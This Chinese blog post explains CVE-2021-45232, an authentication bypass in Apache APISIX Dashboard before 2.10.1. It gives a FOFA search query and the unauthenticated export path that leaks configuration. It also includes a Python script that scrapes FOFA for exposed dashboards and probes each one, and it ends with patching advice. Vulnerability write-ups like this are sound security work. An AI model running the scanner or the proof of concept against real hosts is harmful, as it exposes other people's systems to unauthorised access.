apisix未授权访问(CVE-2021-45232)

前言:请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关。

漏洞描述

据官方描述,在2.10.1之前的Apache APISIX Dashboard中,Manager API使用了两个框架gin和droplet,并在gin框架的基础上引入了droplet框架。所有的API和鉴权中间件都是基于droplet框架开发的,但是有些API直接使用了 框架`gin` 的接口从而绕过身份验证。

影响版本:Apache APISIX Dashboard < 2.10.1

风险等级:高

fofa语句:title="Apache APISIX Dashboard"

image 83 - apisix未授权访问(CVE-2021-45232)
image 84 - apisix未授权访问(CVE-2021-45232)

POC host+/apisix/admin/migrate/export

验证漏洞

image 86 - apisix未授权访问(CVE-2021-45232)

访问目标可以远程下载配置文件

image 87 - apisix未授权访问(CVE-2021-45232)
image 88 - apisix未授权访问(CVE-2021-45232)

自写检测脚本(通过爬取fofa进行检测)

import base64
import requests
import re
import time
from lxml import etree
start=time.time()
headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36",
              "cookie": "yourcookie"}
def url_get():
       input_data = 'title="Apache APISIX Dashboard"'
       for i in range(1,6):
              datas = str(base64.encodebytes(input_data.encode('utf-8')), 'utf-8')
              url=f'https://fofa.so/result?qbase64={datas}&page={i}&page_size=10'
              url=url.replace(f'\n','')
              response=requests.get(url=url,headers=headers).text
              ex=re.findall('<span class="aSpan"><a href="(.*?)" target="_blank">',response,re.S)
              for i in ex:
                     try:
                            s=i+'/apisix/admin/migrate/export'
                            responses=requests.get(url=s,headers=headers).text
                            if 'Counsumers' in responses:
                                   print(str(i)+'存在漏洞')
                            else:
                                   print(str(i)+'不存在漏洞')
                     except:
                            print("访问错误")
end=time.time()
if __name__ == '__main__':
       url_get()
       print('花费时长'+str(end-start))

修复方案

升级到安全版本:

若无法及时升级的用户,可根据官方提供的修复建议通过修改默认用户名和密码,并设置访问Apache APISIX Dashboard的白名单进行缓解。

Yapi远程命令执行漏洞复现

上一篇

木马与免杀初探

下一篇
评论
发表评论 说点什么
还没有评论
155